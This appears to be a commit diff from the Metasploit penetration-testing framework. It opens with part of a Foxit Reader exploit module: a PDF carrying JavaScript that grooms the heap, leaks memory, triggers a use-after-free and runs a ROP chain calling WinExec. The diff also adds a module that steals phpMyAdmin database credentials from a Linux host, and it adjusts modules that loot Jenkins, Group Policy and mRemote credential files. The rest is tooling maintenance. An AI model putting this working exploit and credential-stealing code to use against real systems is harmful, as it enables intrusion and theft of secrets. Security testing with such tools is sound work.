|||
|
||||
(max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000;" % (i+12)}
|
||||
|
||||
<<~PDFDOC
|
||||
%PDF
|
||||
1 0 obj
|
||||
<</Pages 1 0 R /OpenAction 2 0 R>>
|
||||
2 0 obj
|
||||
<</S /JavaScript /JS (
|
||||
|
||||
var heap_ptr = 0;
|
||||
var foxit_base = 0;
|
||||
var pwn_array = [];
|
||||
|
||||
function prepare_heap(size){
|
||||
var arr = new Array(size);
|
||||
for(var i = 0; i < size; i++){
|
||||
arr[i] = this.addAnnot({type: "Text"});;
|
||||
if (typeof arr[i] == "object"){
|
||||
arr[i].destroy();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function gc() {
|
||||
const maxMallocBytes = 128 * 0x100000;
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var x = new ArrayBuffer(maxMallocBytes);
|
||||
}
|
||||
}
|
||||
|
||||
function alloc_at_leak(){
|
||||
for (var i = 0; i < 0x64; i++){
|
||||
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
|
||||
}
|
||||
}
|
||||
|
||||
function control_memory(){
|
||||
for (var i = 0; i < 0x64; i++){
|
||||
for (var j = 0; j < pwn_array[i].length; j++){
|
||||
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function leak_vtable(){
|
||||
var a = this.addAnnot({type: "Text"});
|
||||
|
||||
a.destroy();
|
||||
gc();
|
||||
|
||||
prepare_heap(0x400);
|
||||
var test = new ArrayBuffer(0x60);
|
||||
var stolen = new Int32Array(test);
|
||||
|
||||
var leaked = stolen[0] & 0xffff0000;
|
||||
foxit_base = leaked - 0x01f50000;
|
||||
}
|
||||
|
||||
function leak_heap_chunk(){
|
||||
var a = this.addAnnot({type: "Text"});
|
||||
a.destroy();
|
||||
prepare_heap(0x400);
|
||||
|
||||
var test = new ArrayBuffer(0x60);
|
||||
var stolen = new Int32Array(test);
|
||||
|
||||
alloc_at_leak();
|
||||
heap_ptr = stolen[1];
|
||||
}
|
||||
|
||||
function reclaim(){
|
||||
var arr = new Array(0x10);
|
||||
for (var i = 0; i < arr.length; i++) {
|
||||
arr[i] = new ArrayBuffer(0x60);
|
||||
var rop = new Int32Array(arr[i]);
|
||||
|
||||
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
|
||||
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
|
||||
rop[0x02] = 0x72727272; // junk
|
||||
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
|
||||
rop[0x04] = 0xffffffff; // ret of WinExec
|
||||
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
|
||||
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
|
||||
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
|
||||
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
|
||||
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
|
||||
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
|
||||
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
|
||||
#{rop}
|
||||
rop[0x17] = 0x00000000; // adios, amigo
|
||||
}
|
||||
}
|
||||
|
||||
function trigger_uaf(){
|
||||
var that = this;
|
||||
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
|
||||
var arr = [1];
|
||||
Object.defineProperties(arr,{
|
||||
"0":{
|
||||
get: function () {
|
||||
|
||||
that.getAnnot(0, "uaf").destroy();
|
||||
|
||||
reclaim();
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
a.point = arr;
|
||||
}
|
||||
|
||||
function main(){
|
||||
leak_heap_chunk();
|
||||
leak_vtable();
|
||||
control_memory();
|
||||
trigger_uaf();
|
||||
}
|
||||
|
||||
if (app.platform == "WIN"){
|
||||
if (app.isFoxit == "Foxit Reader"){
|
||||
if (app.appFoxitVersion == "9.0.1.1049"){
|
||||
main();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
)>> trailer <</Root 1 0 R>>
|
||||
PDFDOC
|
||||
begin
|
||||
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-9948', 'template.pdf'))
|
||||
pdf_doc = ERB.new(template).result(binding())
|
||||
pdf_doc
|
||||
rescue Errno::ENOENT
|
||||
fail_with(Failure::NotFound, 'The PDF template was not found')
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
mypdf = pdfdoc
|
||||
if mypdf.nil?
|
||||
my_pdf = get_pdf
|
||||
if my_pdf.nil?
|
||||
fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')
|
||||
end
|
||||
file_create(mypdf)
|
||||
file_create(my_pdf)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -325,7 +325,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def smb1_anonymous_connect_ipc
|
||||
sock = connect(false)
|
||||
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
|
||||
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
|
||||
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, domain: smb_domain, password: smb_pass)
|
||||
response_code = client.login
|
||||
|
||||
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
|
||||
|
@ -368,7 +368,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def smb1_free_hole(start)
|
||||
sock = connect(false)
|
||||
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
|
||||
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
|
||||
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, domain: smb_domain, password: smb_pass)
|
||||
client.negotiate
|
||||
|
||||
pkt = ""
|
||||
|
@ -699,4 +699,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
''
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the value to be passed to SMB clients for
|
||||
# the domain. If the user has not supplied a domain
|
||||
# it returns an empty string to trigger an anonymous
|
||||
# logon.
|
||||
#
|
||||
# @return [String] the domain value
|
||||
def smb_domain
|
||||
if datastore['SMBDomain'].present?
|
||||
datastore['SMBDomain']
|
||||
else
|
||||
''
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,71 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Phpmyadmin credentials stealer",
|
||||
'Description' => %q{
|
||||
This module gathers Phpmyadmin creds from target linux machine.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Author' => [
|
||||
'Chaitanya Haritash [bofheaded]',
|
||||
'Dhiraj Mishra <dhiraj@notsosecure.com>'
|
||||
]
|
||||
))
|
||||
end
|
||||
|
||||
def parse_creds(contents)
|
||||
db_user = contents.scan(/\$dbuser\s*=\s*['"](.*)['"];/).flatten.first
|
||||
db_pass = contents.scan(/\$dbpass\s*=\s*['"](.*)['"];/).flatten.first
|
||||
|
||||
unless db_user && db_pass
|
||||
print_error("Couldn't find PhpMyAdmin credentials")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("User: #{db_user}")
|
||||
print_good("Password: #{db_pass}")
|
||||
|
||||
print_status("Storing credentials...")
|
||||
store_valid_credential(user: db_user, private: db_pass)
|
||||
end
|
||||
|
||||
def run
|
||||
print_line("\nPhpMyAdmin Creds Stealer!\n")
|
||||
|
||||
if session.platform.include?("windows")
|
||||
print_error("This module is not compatible with windows")
|
||||
return
|
||||
end
|
||||
|
||||
conf_path = "/etc/phpmyadmin/config-db.php"
|
||||
unless file_exist?(conf_path)
|
||||
print_error("#{conf_path} doesn't exist on target")
|
||||
return
|
||||
end
|
||||
|
||||
print_good('PhpMyAdmin config found!')
|
||||
res = read_file(conf_path)
|
||||
unless res
|
||||
print_error("You may not have permissions to read the file.")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("Extracting creds")
|
||||
parse_creds(res)
|
||||
|
||||
p = store_loot('phpmyadmin_conf', 'text/plain', session, res, 'phpmyadmin_conf.txt', 'phpmyadmin_conf')
|
||||
print_good("Config file located at #{p}")
|
||||
end
|
||||
end
|
|
@ -53,7 +53,7 @@ class MetasploitModule < Msf::Post
|
|||
if exists?(file)
|
||||
f = read_file(file)
|
||||
if datastore['STORE_LOOT']
|
||||
loot_path = store_loot('credentials.xml', 'text/plain', session, f)
|
||||
loot_path = store_loot('jenkins.creds', 'text/xml', session, f, file)
|
||||
vprint_status("File credentials.xml saved to #{loot_path}")
|
||||
end
|
||||
else
|
||||
|
|
|
@ -265,8 +265,9 @@ class MetasploitModule < Msf::Post
|
|||
framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) {
|
||||
if !aborted
|
||||
timer = 0
|
||||
vprint_status("Waiting up to #{HANDLE_TIMEOUT} seconds for the session to come back")
|
||||
while !framework.jobs[listener_job_id].nil? && timer < HANDLE_TIMEOUT
|
||||
timeout = datastore['HANDLE_TIMEOUT']
|
||||
vprint_status("Waiting up to #{timeout} seconds for the session to come back")
|
||||
while !framework.jobs[listener_job_id].nil? && timer < timeout
|
||||
sleep(1)
|
||||
timer += 1
|
||||
end
|
||||
|
|
|
@ -246,7 +246,7 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
results.each do |result|
|
||||
if datastore['STORE']
|
||||
stored_path = store_loot('windows.gpp.xml', 'text/plain', session, xmlfile[:xml], filetype, xmlfile[:path])
|
||||
stored_path = store_loot('microsoft.windows.gpp', 'text/xml', session, xmlfile[:xml], filetype, xmlfile[:path])
|
||||
print_good("XML file saved to: #{stored_path}")
|
||||
print_line
|
||||
end
|
||||
|
|
|
@ -39,7 +39,7 @@ class MetasploitModule < Msf::Post
|
|||
grab_user_profiles().each do |user|
|
||||
next if user['LocalAppData'] == nil
|
||||
tmpath = user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml'
|
||||
ng_path = user['LocalAppData'] + '\\..\\Roaming\\mRemoteNG\\confCons.xml'
|
||||
ng_path = user['AppData'] + '\\mRemoteNG\\confCons.xml'
|
||||
get_xml(tmpath)
|
||||
get_xml(ng_path)
|
||||
end
|
||||
|
@ -50,6 +50,8 @@ class MetasploitModule < Msf::Post
|
|||
begin
|
||||
if file_exist?(path)
|
||||
condata = read_file(path)
|
||||
loot_path = store_loot('mremote.creds', 'text/xml', session, condata, path)
|
||||
vprint_good("confCons.xml saved to #{loot_path}")
|
||||
parse_xml(condata)
|
||||
print_status("Finished processing #{path}")
|
||||
end
|
||||
|
|
49
msfdb
49
msfdb
|
@ -56,13 +56,13 @@ require 'yaml'
|
|||
}
|
||||
|
||||
|
||||
def run_cmd(cmd, input = nil)
|
||||
def run_cmd(cmd, input: nil, env: {})
|
||||
exitstatus = 0
|
||||
err = out = ""
|
||||
|
||||
puts "run_cmd: cmd=#{cmd}, input=#{input}" if @options[:debug]
|
||||
puts "run_cmd: cmd=#{cmd}, input=#{input}, env=#{env}" if @options[:debug]
|
||||
|
||||
Open3.popen3(cmd) do |stdin, stdout, stderr, wait_thr|
|
||||
Open3.popen3(env, cmd) do |stdin, stdout, stderr, wait_thr|
|
||||
stdin.puts(input) if input
|
||||
if @options[:debug]
|
||||
err = stderr.read
|
||||
|
@ -216,9 +216,9 @@ def init_db
|
|||
run_psql("alter role #{@options[:msf_db_user]} with password '#{@msf_pass}'")
|
||||
run_psql("alter role #{@options[:msftest_db_user]} with password '#{@msftest_pass}'")
|
||||
run_cmd("createdb -p #{@options[:db_port]} -O #{@options[:msf_db_user]} -h 127.0.0.1 -U #{@options[:msf_db_user]} -E UTF-8 -T template0 #{@options[:msf_db_name]}",
|
||||
"#{@msf_pass}\n#{@msf_pass}\n")
|
||||
input: "#{@msf_pass}\n#{@msf_pass}\n")
|
||||
run_cmd("createdb -p #{@options[:db_port]} -O #{@options[:msftest_db_user]} -h 127.0.0.1 -U #{@options[:msftest_db_user]} -E UTF-8 -T template0 #{@options[:msftest_db_name]}",
|
||||
"#{@msftest_pass}\n#{@msftest_pass}\n")
|
||||
input: "#{@msftest_pass}\n#{@msftest_pass}\n")
|
||||
|
||||
write_db_client_auth_config
|
||||
restart_db
|
||||
|
@ -641,16 +641,41 @@ end
|
|||
def output_web_service_information
|
||||
puts ''
|
||||
puts 'MSF web service configuration complete'
|
||||
puts 'Add the data service in msfconsole using the command:'
|
||||
# build data services command based on install options
|
||||
ds_cmd = "data_services --add --token #{@ws_api_token}"
|
||||
ds_cmd << " --ssl --cert #{@options[:ssl_cert]}" if @options[:ssl]
|
||||
ds_cmd << " --skip-verify" if skip_ssl_verify?
|
||||
ds_cmd << " #{get_web_service_host}"
|
||||
puts "#{ds_cmd}"
|
||||
puts 'Connect to the data service in msfconsole using the command:'
|
||||
puts "#{get_db_connect_command}"
|
||||
puts ''
|
||||
puts 'The username and password are credentials for the API account:'
|
||||
puts "#{get_web_service_uri(path: '/api/v1/auth/account')}"
|
||||
puts ''
|
||||
|
||||
persist_data_service
|
||||
end
|
||||
|
||||
def persist_data_service
|
||||
if ask_yn('Add data service connection to local msfconsole and persist as default?')
|
||||
data_service_name = "local-#{@options[:ssl] ? 'https' : 'http'}-data-service"
|
||||
data_service_name = ask_value('Data service connection name?', data_service_name)
|
||||
# execute msfconsole commands to add and persist the data service connection
|
||||
connect_cmd = get_db_connect_command(name: data_service_name)
|
||||
cmd = "msfconsole -qx \"#{connect_cmd}; db_save; exit\""
|
||||
if run_cmd(cmd) != 0
|
||||
# attempt to execute msfconsole in the current working directory
|
||||
if run_cmd(cmd, env: {'PATH' => ".:#{ENV["PATH"]}"}) != 0
|
||||
puts 'Failed to run msfconsole and persist the data service connection'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_db_connect_command(name: nil)
|
||||
# build db_connect command based on install options
|
||||
connect_cmd = "db_connect"
|
||||
connect_cmd << " --name #{name}" unless name.nil?
|
||||
connect_cmd << " --token #{@ws_api_token}"
|
||||
connect_cmd << " --cert #{@options[:ssl_cert]}" if @options[:ssl]
|
||||
connect_cmd << " --skip-verify" if skip_ssl_verify?
|
||||
connect_cmd << " #{get_web_service_uri}"
|
||||
connect_cmd
|
||||
end
|
||||
|
||||
def get_web_service_uri(path: nil)
|
||||
|
|
|
@ -147,7 +147,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
|
|||
it "should show a help message" do
|
||||
db.cmd_loot "-h"
|
||||
expect(@output).to match_array [
|
||||
"Usage: loot <options>",
|
||||
"Usage: loot [options]",
|
||||
" Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]",
|
||||
" Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]",
|
||||
" Del: loot -d [addr1 addr2 ...]",
|
||||
|
|
|
@ -140,6 +140,7 @@ class Msftidy
|
|||
def check_ref_identifiers
|
||||
in_super = false
|
||||
in_refs = false
|
||||
in_notes = false
|
||||
cve_assigned = false
|
||||
|
||||
@lines.each do |line|
|
||||
|
@ -153,6 +154,10 @@ class Msftidy
|
|||
if in_super and line =~ /["']References["'][[:space:]]*=>/
|
||||
in_refs = true
|
||||
elsif in_super and in_refs and line =~ /^[[:space:]]+\],*/m
|
||||
in_refs = false
|
||||
elsif in_super and line =~ /["']Notes["'][[:space:]]*=>/
|
||||
in_notes = true
|
||||
elsif in_super and in_notes and line =~ /^[[:space:]]+\},*/m
|
||||
break
|
||||
elsif in_super and in_refs and line =~ /[^#]+\[[[:space:]]*['"](.+)['"][[:space:]]*,[[:space:]]*['"](.+)['"][[:space:]]*\]/
|
||||
identifier = $1.strip.upcase
|
||||
|
@ -178,7 +183,7 @@ class Msftidy
|
|||
warn("Invalid WPVDB reference") if value !~ /^\d+$/
|
||||
when 'PACKETSTORM'
|
||||
warn("Invalid PACKETSTORM reference") if value !~ /^\d+$/
|
||||
when 'URL' || 'AKA'
|
||||
when 'URL'
|
||||
if value =~ /^https?:\/\/cvedetails\.com\/cve/
|
||||
warn("Please use 'CVE' for '#{value}'")
|
||||
elsif value =~ /^https?:\/\/www\.securityfocus\.com\/bid\//
|
||||
|
@ -194,12 +199,21 @@ class Msftidy
|
|||
elsif value =~ /^https?:\/\/(?:[^\.]+\.)?packetstormsecurity\.(?:com|net|org)\//
|
||||
warn("Please use 'PACKETSTORM' for '#{value}'")
|
||||
end
|
||||
when 'AKA'
|
||||
warn("Please include AKA values in the 'notes' section, rather than in 'references'.")
|
||||
end
|
||||
end
|
||||
|
||||
# If a NOCVE reason was provided in notes, ignore the fact that the references might lack a CVE
|
||||
if in_super and in_notes and line =~ /^[[:space:]]+["']NOCVE["'][[:space:]]+=>[[:space:]]+\[*["'](.+)["']\]*/
|
||||
cve_assigned = true
|
||||
end
|
||||
end
|
||||
|
||||
# This helps us track when CVEs aren't assigned
|
||||
info('No CVE references found. Please check before you land!') unless cve_assigned
|
||||
unless cve_assigned
|
||||
info('No CVE references found. Please check before you land!')
|
||||
end
|
||||
end
|
||||
|
||||
def check_self_class
|
||||
|
|
Loading…
Reference in New Issue